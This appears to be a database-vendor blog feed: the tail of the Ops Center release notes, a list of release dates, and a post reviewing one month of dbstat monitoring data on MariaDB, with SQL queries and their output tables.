Create instance for Rocky 8 improved.
Check for restart also removed, so also restart works now.
Check removed to allow a running but not reachable instance to be restarted, restart and start button added.
Non existing configuration was not handled correctly, fixed.
Edit instance placeholder added and default instance name changed from mysqld to mariadbd.
Create instance output made nicer in case of failure.

Cluster

Cluster overview signal lights are also working now for Galera.
Cluster operations returns faster now if machine is not reachable.
Cluster show checks non important information removed.
Cluster checks in menu are now shown correctly.
grastate.dat async check added.
Cluster check made async.
Instance state added to cluster operations and check view.
M/S cluster tests made more robust against strange situations.
Some bugs in M/S cluster fixed.
focmm user passwords should sync in galera.
Bootstrap should distribute focmm user on all nodes.
Bootstrap on Debian fixed again.
Error message for missing grastate.dat file is suppressed now.
Deploy configuration button is now on a new line.
2 little bugs in M/S cluster operations removed.
Instance operations improved with Galera clusters.
Soft bootstrap implemented.
Cluster node bootstrap, start stop fixed.
Function bootstrap implemented.
Async rolling cluster restart added.
Problem with rolling restart fixed.
Cluster check and operations is read if not OK. Failed, same behaviour as before!
Rolling cluster restart and other buttons added to cluster operations.
Variable wsrep_node_name is set to instance name per default.
Galera cluster config deployment made smoother and fixed bug.
Sort order of cluster nodes and title of table clarified.
Page start/stop notices added to cluster.php.
Indention problem in function getClusterChecks fixed.

Load Balancer

Terms load-balancer and loadbalancer replaced by load balancer.
User radmin added for ProxySQL monitoring.
Socket default for HAproxy changed to the new standards.

Virtual IP (VIP)/Floating IP

Status grey image does not exist in vip_show_checks, fixed.

Tools

Crontab: Missing library in check_instances.php added.
Crontab: html tags removed in mail.
Crontab: Error messages and error handling in crontab and start jobs improved, lock file directory is created automatically now.

Configuration

No changes.

Database-as-a-Service (DBaaS)

No changes.

Building and Packaging

Bulid moved to MyEnv project.
Missing Rocky Linux branch added.
Package redhat-lsb-core does not exist on Rocky 9 any more, spec file adapted.
Package build test fixed.

Themes / UI

jquery updated from 3.6.3 to 3.7.1

General

Modification for license key automation added.
Package installation ssh-keygen is only called if key does not exist. So upgrade should work without error/warning.
Some tests fixed, bug in createPublicKey fixed.
Function listRemoteDirectory does not write needlessly error messages any more.
HTML tag placeholder added for add function, add object and save object made more error prone.
Variable tx_isolation replaced by transaction_isolation which was deprecated in MariaDB 11.2 and MySQL 5.7.
Code clean-up.
Some menu items opened a new tab which was not intended. Fixed.
Field naming made consistent.
Error handling and error messages improved.
Copyright year updated from 2023 to 2024.
Message downgraded from ERROR to DEBUG.
Function runRemoteCommand will return an error code again when going_back_to functionality implemented.
Function renderDropDown newline was removed.
Function renderSubmitButton accepts a title now.
Function runRemoteCommand can suppress error logging now.
Command apt-get replaced by apt.
Distribution information refactored.
Function whoami cleaned-up.
PHP 8.0 function calls removed again because of Debian 10/11 support.
User interaction made unique among all 5 different objects.
Redundant DEBUG information removed.
Configuration file was removed again when not needed any more (clean-up).
Command yum replaced by dnf, also apt-get partly.
Command which replaced by type -p to make it Rocky 9 compliant.
Some more lsb_release stuff removed.
myEnv.inc library updated, lsb_release removed.
Dead code message added.

Repository

No changes.

Documentation

Version changed from 1.2.0 to 1.2.1 and TLS conflict on ubuntu 22.04 fixed.
Build automatized.
Documentation for M/S updated.
All text taken over from CMS.
Load balancer documentation added.

Ops Center Release Notes

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 29 Apr 2024 16:42:39 +0200

Ops Center 1.2.2 Release Notes, Release Date: 25 April 2024
Ops Center 1.2.1 Release Notes, Release Date: 7 Februray 2023
Ops Center 1.2.0 Release Notes, Release Date: 17 January 2023
Ops Center 1.1.0 Release Notes, Release Date: 7 May 2021
Ops Center 1.0.0 Release Notes, Release Date: 7 May 2020
Ops Center 0.9.3 Release Notes, Release Date: 18 February 2020
Ops Center 0.9.2 Release Notes, Release Date: 13 August 2019
Ops Center 0.9.1 Release Notes, Release Date: 7 May 2019
Ops Center 0.9.0 Release Notes, Release Date: 16 April 2019
Ops Center 0.3.0 Release Notes, Release Date: 13 January 2016
Ops Center 0.2.0 Release Notes, Release Date: 29 May 2014
Ops Center 0.1.0 Release Notes, Release Date: 02 January 2014
Ops Center 0.0.1 Release Notes, Release Date: 01 January 2014

dbstat for MariaDB after one month of productive use

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 26 Apr 2024 14:13:55 +0000

Review

After we introduced dbstat for MariaDB (and MySQL) a good 5 weeks ago, we naturally also rolled it out on our systems to test the behaviour in daily use (eat your own dog food).

This went quite well until we came up with the idea of activating dbstat on the passive dbstat node on our MariaDB active/passive master/master replication cluster (a similar situation would also occur with a Galera cluster). We realised that the design of dbstat still had potential. After this problem was fixed (v0.0.2 and v0.0.3) and the problem of how to activate events on master AND slave was solved (MDEV-33782: Event is always disabled on slave), everything seemed fine at first glance. Unfortunately, we did not realise that the data also had to be adjusted. As a result, our replication came to a complete stop over the Easter holidays, which then led to another problem when catching up (MDEV-33923: MariaDB parallel replication causes Foreign Key errors).

After this minor incident was also resolved, dbstat has been running flawlessly on our MariaDB master/master replication cluster ever since… The product dbstat is open source (GPLv2) and can be downloaded from GitHub.

One month later

Databases should NOT grow over time but only over the number of {customers, products, etc.} once the desired equilibrium (steady state) is reached. In our dbstat installation, we have set this equilibrium state to 30 days. So it is now time that the size of dbstat stabilises and the database stops growing…

It would also be interesting to understand what practical use dbstat has. That is why we have now set to work and are trying to analyse the results of dbstat.

Here is an overview of the 11 current running database events:

SQL> SELECT db, name, definer, CONCAT(interval_value, ' ', interval_field) AS 'interval'
 , last_executed, ends, status
 FROM mysql.event
 ORDER BY db, name ASC
;
+--------+-------------------------+------------------+----------+---------------------+------+---------+
| db | name | definer | interval | last_executed | ends | status |
+--------+-------------------------+------------------+----------+---------------------+------+---------+
| dbstat | gather_global_status | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:14 | NULL | ENABLED |
| dbstat | gather_global_variables | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:32 | NULL | ENABLED |
| dbstat | gather_metadata_lock | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:47 | NULL | ENABLED |
| dbstat | gather_processlist | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:28 | NULL | ENABLED |
| dbstat | gather_table_size | dbstat@localhost | 1 DAY | 2024-04-24 00:04:00 | NULL | ENABLED |
| dbstat | gather_trx_and_lck | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:35 | NULL | ENABLED |
| dbstat | purge_global_status | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:08 | NULL | ENABLED |
| dbstat | purge_metadata_lock | dbstat@localhost | 5 MINUTE | 2024-04-24 07:44:37 | NULL | ENABLED |
| dbstat | purge_processlist | dbstat@localhost | 1 MINUTE | 2024-04-24 07:43:58 | NULL | ENABLED |
| dbstat | purge_table_size | dbstat@localhost | 5 MINUTE | 2024-04-24 07:40:04 | NULL | ENABLED |
| dbstat | purge_trx_and_lck | dbstat@localhost | 1 MINUTE | 2024-04-24 07:44:45 | NULL | ENABLED |
+--------+-------------------------+------------------+----------+---------------------+------+---------+

Size of the tables

Firstly, the growth of dbstat itself is interesting. But of course this evaluation can also be carried out for any other database, table or catalogue (coming in MariaDB 11.7?):

SQL> SET SESSION sql_mode='STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,only_full_group_by';

SQL> SET @machine_name = @@hostname;

SQL> SELECT `table_schema`, SUBSTR(`ts`, 1, 10) AS date
 , ROUND(SUM(`data_length`)/1024/1024, 1) AS data_mb
 , ROUND(SUM(`index_length`)/1024/1024, 1) AS index_mb
 , ROUND(SUM(`data_free`)/1024/1024, 1) AS free_mb
 , ROUND((SUM(`data_length`) + SUM(`index_length`) + SUM(`data_free`))/1024/1024, 1) AS total_mb
 , ROUND(SUM(`table_rows`)/1000/1000, 1) AS rows_m
 FROM `table_size`
 WHERE `machine_name` = @machine_name
 AND `table_catalog` = 'def'
 AND `table_schema` = 'dbstat'
 GROUP BY `table_catalog`, `table_schema`, `date`
 ORDER BY `table_catalog`, `table_schema`, `date` ASC
;
+--------------+------------+---------+----------+---------+----------+--------+
| table_schema | date | data_mb | index_mb | free_mb | total_mb | rows_m |
+--------------+------------+---------+----------+---------+----------+--------+
| dbstat | 2024-03-26 | 762.8 | 1128.6 | 18.0 | 1909.4 | 10.9 |
| dbstat | 2024-03-27 | 835.8 | 1241.6 | 17.0 | 2094.4 | 11.1 |
| dbstat | 2024-03-28 | 837.8 | 1241.6 | 14.0 | 2093.4 | 11.8 |
| dbstat | 2024-03-29 | 960.7 | 1443.6 | 18.0 | 2422.4 | 14.2 |
| dbstat | 2024-03-30 | 960.7 | 1443.6 | 17.0 | 2421.4 | 15.0 |
| dbstat | 2024-03-31 | 1057.7 | 1604.6 | 20.0 | 2682.4 | 16.9 |
| dbstat | 2024-04-01 | 1057.7 | 1602.6 | 21.0 | 2681.4 | 17.6 |
| dbstat | 2024-04-02 | 1172.7 | 1797.6 | 22.0 | 2992.3 | 17.8 |
| dbstat | 2024-04-03 | 1442.8 | 2333.7 | 12.0 | 3788.5 | 22.8 |
| dbstat | 2024-04-04 | 1649.8 | 2723.7 | 13.0 | 4386.5 | 24.4 |
| dbstat | 2024-04-05 | 1649.8 | 2722.7 | 14.0 | 4386.5 | 26.0 |
| dbstat | 2024-04-06 | 1821.8 | 3034.8 | 13.0 | 4869.6 | 24.6 |
| dbstat | 2024-04-07 | 1821.8 | 3034.8 | 14.0 | 4870.6 | 26.2 |
| dbstat | 2024-04-08 | 1989.9 | 3344.8 | 12.0 | 5346.6 | 29.9 |
| dbstat | 2024-04-09 | 1990.9 | 3343.8 | 14.0 | 5348.6 | 31.5 |
| dbstat | 2024-04-10 | 2193.9 | 3712.8 | 13.0 | 5919.7 | 31.6 |
| dbstat | 2024-04-11 | 2193.9 | 3712.8 | 15.0 | 5921.7 | 31.1 |
| dbstat | 2024-04-12 | 2405.8 | 4119.1 | 12.0 | 6537.0 | 34.9 |
| dbstat | 2024-04-13 | 2405.8 | 4119.1 | 14.0 | 6538.9 | 35.7 |
| dbstat | 2024-04-14 | 2480.8 | 4278.9 | 15.0 | 6774.8 | 36.2 |
| dbstat | 2024-04-15 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 37.5 |
| dbstat | 2024-04-16 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 38.2 |
| dbstat | 2024-04-17 | 2640.8 | 4610.6 | 18.0 | 7269.4 | 38.5 |
| dbstat | 2024-04-18 | 2640.9 | 4611.6 | 14.0 | 7266.5 | 39.7 |
| dbstat | 2024-04-19 | 2743.9 | 4826.5 | 14.0 | 7584.3 | 36.9 |
| dbstat | 2024-04-20 | 2826.9 | 4995.5 | 14.0 | 7836.4 | 38.3 |
| dbstat | 2024-04-21 | 2830.9 | 4997.4 | 18.0 | 7846.3 | 39.2 |
| dbstat | 2024-04-22 | 2919.9 | 5177.4 | 14.0 | 8111.3 | 43.2 |
| dbstat | 2024-04-23 | 2923.0 | 5177.3 | 16.0 | 8116.3 | 44.1 |
| dbstat | 2024-04-24 | 3020.0 | 5376.3 | 16.0 | 8412.3 | 41.0 |
| dbstat | 2024-04-25 | 3024.0 | 5377.3 | 17.0 | 8418.3 | 40.9 |
+--------------+------------+---------+----------+---------+----------+--------+

If you take the disc space in the O/S for comparison:

# du -shc *.ibd
8.6G global_status.ibd
308K global_variables.ibd
692K metadata_lock.ibd
97M processlist.ibd
18M table_size.ibd
212K trx_and_lck.ibd
8.7G total

you can see that the values from the database are approximately correct (5% error)…

Important: The database dbstat reaches a size of approx. 9 Gbyte after approx. one month on a not particularly large database system.

You can also see that the size of the database is only just stabilising:

If you want to know more precisely which tables are responsible for which part of the data volume, you can also zoom in or drill down into the data:

SQL> SELECT `table_name`, SUBSTR(`ts`, 1, 10) AS date
 , ROUND(`data_length`/1024/1024, 1) AS data_mb
 , ROUND(`index_length`/1024/1024, 1) AS index_mb
 , ROUND(`data_free`/1024/1024, 1) AS free_mb
 , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024, 1) AS total_mb
 , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024/8418.26*100, 1) AS pct
 , ROUND(`table_rows`/1000/1000, 1) AS rows_m
 FROM `table_size`
 WHERE `machine_name` = @machine_name
 AND `table_catalog` = 'def'
 AND `table_schema` = 'dbstat'
 AND SUBSTR(`ts`, 1, 10) = CURRENT_DATE()
 ORDER BY rows_m DESC
;
+------------------+------------+---------+----------+---------+----------+------+--------+
| table_name | date | data_mb | index_mb | free_mb | total_mb | pct | rows_m |
+------------------+------------+---------+----------+---------+----------+------+--------+
| global_status | 2024-04-25 | 2949.9 | 5356.9 | 5.0 | 8311.8 | 98.7 | 40.4 |
| processlist | 2024-04-25 | 68.2 | 17.1 | 7.0 | 92.2 | 1.1 | 0.4 |
| global_variables | 2024-04-25 | 0.1 | 0.1 | 0.0 | 0.2 | 0.0 | 0.0 |
| metadata_lock | 2024-04-25 | 0.4 | 0.2 | 0.0 | 0.6 | 0.0 | 0.0 |
| table_size | 2024-04-25 | 5.4 | 3.1 | 5.0 | 13.5 | 0.2 | 0.0 |
| trx_and_lck | 2024-04-25 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 |
+------------------+------------+---------+----------+---------+----------+------+--------+

Note: Please excuse the non-use of the window function!

The only real driver for the data volume of this database is the global_status table. This is to be expected (see: see quantity structure of dbstat).

SQL> SELECT SUBSTR(ts, 1, 10) AS date, table_rows/1000/1000 AS k_rows
 , ROUND(data_length/1024/1024, 1) AS data_mb, ROUND(index_length/1024/1024, 1) AS index_mb, ROUND(data_free/1024/1024, 1) AS free_mb
 , ROUND((data_length + index_length + data_free)/1024/1024, 1) AS total_mb
 FROM table_size
 WHERE `machine_name` = @machine_name
 AND `table_catalog` = 'def'
 AND `table_schema` = 'dbstat'
 AND table_name = 'global_status'
 AND ts > DATE_SUB(CURRENT_DATE, INTERVAL 10 DAY)
;
+------------+-------------+---------+----------+---------+----------+
| date | k_rows | data_mb | index_mb | free_mb | total_mb |
+------------+-------------+---------+----------+---------+----------+
| 2024-04-15 | 37.13876300 | 2512.9 | 4433.0 | 4.0 | 6949.9 |
| 2024-04-16 | 37.94217200 | 2512.9 | 4433.0 | 4.0 | 6949.9 | + 0M
| 2024-04-17 | 38.19867500 | 2592.9 | 4600.0 | 7.0 | 7199.9 | + 250M
| 2024-04-18 | 39.39108500 | 2592.9 | 4600.0 | 5.0 | 7197.9 | - 2M
| 2024-04-19 | 36.52539600 | 2691.9 | 4813.0 | 5.0 | 7509.8 | + 312M
| 2024-04-20 | 37.99073500 | 2770.9 | 4980.9 | 6.0 | 7757.8 | + 248M
| 2024-04-21 | 38.79420200 | 2770.9 | 4980.9 | 7.0 | 7758.8 | + 1M
| 2024-04-22 | 42.82606200 | 2855.9 | 5158.9 | 6.0 | 8020.8 | + 263M
| 2024-04-23 | 43.62953000 | 2855.9 | 5158.9 | 7.0 | 8021.8 | + 1M
| 2024-04-24 | 40.54342200 | 2949.9 | 5356.9 | 7.0 | 8313.8 | + 292M
| 2024-04-25 | 40.43067700 | 2949.9 | 5356.9 | 5.0 | 8311.8 | - 2M
+------------+-------------+---------+----------+---------+----------+

Note: Sorry, I should really familiarise myself with the window functions…

If we analyse the data a bit more closely, we see that the number of rows has slowly stabilised over the last 4 days (note: table_rows is calculated (from the number of blocks and the average row length?) and is not an exact value), but the “amount of data” has continued to increase until yesterday, which is probably due to the fragmentation of the tables and indexes…

The primary key of the global_status table was chosen to optimise the localisation of the data:

PRIMARY KEY (`machine_name`,`variable_name`,`ts`),

The situation should calm down in the next few days. In 2 to 4 weeks we will have to check the situation again.

Summary: I would say that this feature fulfils the requirements and helps to understand the data growth.

List of processes

Since we do not have any serious load issues in our databases, this feature is not that interesting in our case. For example, we can see what a (persistent) connection has done:

SQL> SELECT connection_id, ts, command, time, state, SUBSTR(REGEXP_REPLACE(REPLACE(query, "<br>n", ' '), '<br> +', ' '), 1, 64)
 FROM processlist
 WHERE machine_name = @machine_name
 AND command != 'Sleep'
 AND connection_id = @connection_id
 AND state NOT IN (
 'Waiting for next activation'
 , 'Master has sent all binlog to slave; waiting for more updates'
 , 'Waiting for master to send event'
 , 'Slave has read all relay log; waiting for more updates'
 )
 ORDER BY ts ASC
;
+---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+
| connection_id | ts | command | time | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "<br>n", ' '), '<br> +', ' '), 1, 64) |
+---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+
| 18 | 2024-04-17 12:30:28 | Query | 0.029 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h |
| 18 | 2024-04-17 14:58:28 | Query | 0.009 | Writing to net | select itemtagid,itemid,tag,value from item_tag |
| 18 | 2024-04-18 06:24:28 | Query | 0.003 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h |
| 18 | 2024-04-18 11:34:28 | Query | 0.030 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-18 16:39:28 | Query | 0.006 | Sending data | select itemid,functionid,name,parameter,triggerid from functions |
| 18 | 2024-04-18 19:12:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu |
| 18 | 2024-04-18 21:49:28 | Query | 0.004 | Writing to net | select i.itemid,i.hostid,i.templateid from items i inner join ho |
| 18 | 2024-04-19 00:21:28 | Query | 0.032 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h |
| 18 | 2024-04-19 02:59:28 | Query | 0.017 | Writing to net | select triggerid,description,expression,error,priority,type,valu |
| 18 | 2024-04-19 05:39:28 | Query | 0.052 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-19 08:19:28 | Query | 0.000 | Statistics | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-19 13:26:28 | Query | 0.075 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-19 15:57:28 | Query | 0.027 | Writing to net | select itemtagid,itemid,tag,value from item_tag |
| 18 | 2024-04-19 18:33:28 | Query | 0.010 | Sending data | select itemtagid,itemid,tag,value from item_tag |
| 18 | 2024-04-19 21:10:28 | Query | 0.008 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h |
| 18 | 2024-04-19 23:50:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 02:28:28 | Query | 0.008 | Sending data | select triggerid,description,expression,error,priority,type,valu |
| 18 | 2024-04-20 05:08:28 | Query | 0.052 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 07:44:28 | Query | 0.123 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 10:21:28 | Query | 0.144 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 12:55:28 | Query | 0.004 | Sending data | select i.itemid,i.hostid,i.templateid from items i where i.flags |
| 18 | 2024-04-20 15:35:28 | Query | 0.092 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 18:12:28 | Query | 0.041 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 20:47:28 | Query | 0.113 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-20 23:25:28 | Query | 0.101 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 02:03:28 | Query | 0.120 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 04:42:28 | Query | 0.099 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 07:18:28 | Query | 0.015 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 12:32:28 | Query | 0.018 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 15:06:28 | Query | 0.091 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-21 20:16:28 | Query | 0.012 | Sending data | select itemtagid,itemid,tag,value from item_tag |
| 18 | 2024-04-22 06:44:28 | Query | 0.161 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-22 09:21:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-22 11:54:28 | Query | 0.020 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-22 14:23:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-22 16:59:28 | Query | 0.128 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-22 22:05:28 | Query | 0.078 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 00:38:28 | Query | 0.084 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 03:15:28 | Query | 0.098 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 05:52:28 | Query | 0.000 | starting | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 08:27:28 | Query | 0.011 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h |
| 18 | 2024-04-23 10:58:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.templateid from items i inner join ho |
| 18 | 2024-04-23 13:31:28 | Query | 0.110 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 16:01:28 | Query | 0.023 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 18:35:28 | Query | 0.095 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-23 21:10:28 | Query | 0.017 | Writing to net | select itemtagid,itemid,tag,value from item_tag |
| 18 | 2024-04-23 23:44:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu |
| 18 | 2024-04-24 02:21:28 | Query | 0.024 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
| 18 | 2024-04-24 07:33:28 | Query | 0.046 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s |
+---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+

It is also important that we only see the entries in this report when the thread has done SOMETHING (we have hidden state Sleep). It is also interesting that we do not see this (persistent) connection before 17 April, but at the moment I have NO explanation for this from an operational point of view (restart etc.). Probably the application (Zabbix) has to explain this.

Global variables

The information in the global_variables table is also interesting:

SQL> SELECT variable_name, ts, variable_value
 FROM global_variables
 WHERE machine_name = @machine_name
 AND variable_name IN (
 SELECT variable_name
 FROM global_variables
 WHERE machine_name = @machine_name
 GROUP BY variable_name
 HAVING COUNT(*) > 1
 )
 ORDER BY ts, variable_name
;
+---------------------------+---------------------+----------------+
| variable_name | ts | variable_value |
+---------------------------+---------------------+----------------+
| auto_increment_increment | 2024-03-09 22:10:42 | 1 |
| auto_increment_offset | 2024-03-09 22:10:42 | 1 |
| read_only | 2024-03-09 22:10:42 | OFF |
| slave_parallel_max_queued | 2024-03-09 22:10:42 | 131072 |
| slave_parallel_threads | 2024-03-09 22:10:42 | 0 |
| slave_parallel_workers | 2024-03-09 22:10:42 | 0 |
| slave_skip_errors | 2024-03-09 22:10:42 | OFF |
| system_time_zone | 2024-03-09 22:10:42 | CET |

| read_only | 2024-03-27 09:42:50 | ON |
| slave_skip_errors | 2024-03-27 12:33:13 | 1032 |
| slave_skip_errors | 2024-03-27 12:35:13 | OFF |
| slave_skip_errors | 2024-03-27 12:42:13 | 1032 |
| slave_skip_errors | 2024-03-27 12:50:13 | OFF |

| slave_parallel_threads | 2024-04-02 10:17:32 | 8 |
| slave_parallel_workers | 2024-04-02 10:17:32 | 8 |
| slave_parallel_max_queued | 2024-04-02 10:22:32 | 1048576 |
| slave_parallel_max_queued | 2024-04-02 10:23:32 | 4194304 |
| slave_parallel_max_queued | 2024-04-02 10:25:32 | 16777216 |
| slave_parallel_threads | 2024-04-02 10:25:32 | 16 |
| slave_parallel_workers | 2024-04-02 10:25:32 | 16 |
| slave_parallel_threads | 2024-04-02 10:28:32 | 32 |
| slave_parallel_workers | 2024-04-02 10:28:32 | 32 |
| auto_increment_increment | 2024-04-02 10:39:32 | 2 |
| auto_increment_offset | 2024-04-02 10:39:32 | 2 |
| slave_parallel_max_queued | 2024-04-02 10:57:32 | 131072 |
| slave_parallel_threads | 2024-04-02 10:57:32 | 0 |
| slave_parallel_workers | 2024-04-02 10:57:32 | 0 |
| system_time_zone | 2024-04-02 10:57:32 | CEST |

| slave_parallel_max_queued | 2024-04-16 14:06:32 | 16777216 |
| slave_parallel_threads | 2024-04-16 14:06:32 | 8 |
| slave_parallel_workers | 2024-04-16 14:06:32 | 8 |
| slave_parallel_max_queued | 2024-04-16 14:26:32 | 131072 |
| slave_parallel_threads | 2024-04-16 14:26:32 | 0 |
| slave_parallel_workers | 2024-04-16 14:26:32 | 0 |

| slave_parallel_max_queued | 2024-04-17 09:03:32 | 16777216 |
| slave_parallel_threads | 2024-04-17 09:03:32 | 16 |
| slave_parallel_workers | 2024-04-17 09:03:32 | 16 |

| slave_parallel_max_queued | 2024-04-24 08:26:32 | 131072 |
| slave_parallel_threads | 2024-04-24 08:26:32 | 0 |
| slave_parallel_workers | 2024-04-24 08:26:32 | 0 |
| read_only | 2024-04-24 08:42:32 | OFF |
+---------------------------+---------------------+----------------+

Here you can see very precisely when and what was done to the database:

On 9 March, dbstat was installed for the first time.
Then on 27 March (before Easter) there seem to have been problems with the replication (here the new version of dbstat was installed, which allows simultaneous collection on master and slave. This led to replication errors, which were partially rectified).
On 2 April (after Easter) we then tried to catch up with parallel replication. You can also see that AUTO_INCREMENT_OFFSET and AUTO_INCREMENT_INCREMENT have been changed. Here we have corrected an error in the database configuration…
You can also see that the time zone has changed from CET to CEST (summer time!) Why only on 2 April is not entirely clear to me. (Maybe because it came via replication?)
Then on 16 and 17 April we tried to reproduce a “bug” in the parallel replication. Apparently we did not reset the value. Because only after the restart on 24 April (usual fortnightly maintenance window) was the value reset again.
On 24 April, you can also see that the database has now assumed the role of the active master (read_only = off). A gracefull switchover has therefore taken place…

Conclusion: A very useful feature to see when something has been changed. Although I have followed all these operations closely, I am still amazed at the informative value of this feature. I would like to see it installed in all databases…

Metadata Lock and InnoDB Transaction Lock

Unfortunately, due to the low traffic on our databases, we do not see too much exciting stuff here.

Here are the metadata locks that we have “caught” on the master in the last 24 hours:

+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+
| connection_id | ts | user | host | table_schema | table_name | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "<br>n", ' '), '<br> +', ' '), 1, 64) |
+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+
| 18 | 2024-04-23 14:16:47 | zabbix | localhost:51252 | zabbix | triggers | Writing to net | select triggerid,description,expression,error,priority,type,valu |
| 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | | | init for update | delete from history_text where itemid=85477 and clock<1678167661 |
| 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | zabbix | history_text | init for update | delete from history_text where itemid=85477 and clock<1678167661 |
| 1365229 | 2024-04-24 02:13:47 | root | localhost:38096 | dbstat | global_status | Writing to net | SELECT /*!40001 SQL_NO_CACHE */ `machine_name`, `variable_name`, |
| 18 | 2024-04-24 03:10:47 | zabbix | localhost:51252 | zabbix | item_tag | Writing to net | select itemtagid,itemid,tag,value from item_tag |
| 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | | | | NULL |
| 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | zabbix | history_uint | | NULL |
| 18 | 2024-04-24 05:46:47 | zabbix | localhost:51252 | zabbix | item_tag | Sending data | select itemtagid,itemid,tag,value from item_tag |
+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+

We have not found any InnoDB locks in the last 24 hours for 7 days in a row.

It would be interesting to see a system where more is happening…

Global status

If a normal database monitoring such as the FromDual Performance Monitor for MariaDB and MySQL (fpmmm) with Zabbix is used, this feature is not absolutely necessary. However, most of our customers do not have any useful monitoring in use. Therefore, this feature would be very useful for post-mortem analyses…

For example InnoDB Row Lock Waits, minute-granular over the last 30 days (analogue to sar from sysstat):

Here you can see that the database was restarted on 10 April between 08:37 and 08:41. You could also find this out in another way, but unfortunately this is often not possible for various reasons (error log rotated away, etc.).

The trend break around 2 April is also interesting. At this time we were experimenting with parallel replication. It should not have been a failover (see GLOBAL VARIABLES, above).

Although parallel replication was later deactivated again, there were more locks. A similar situation around the 16th/17th of April, here too we played around with parallel replication, which seems to have had an effect on the locking behaviour.

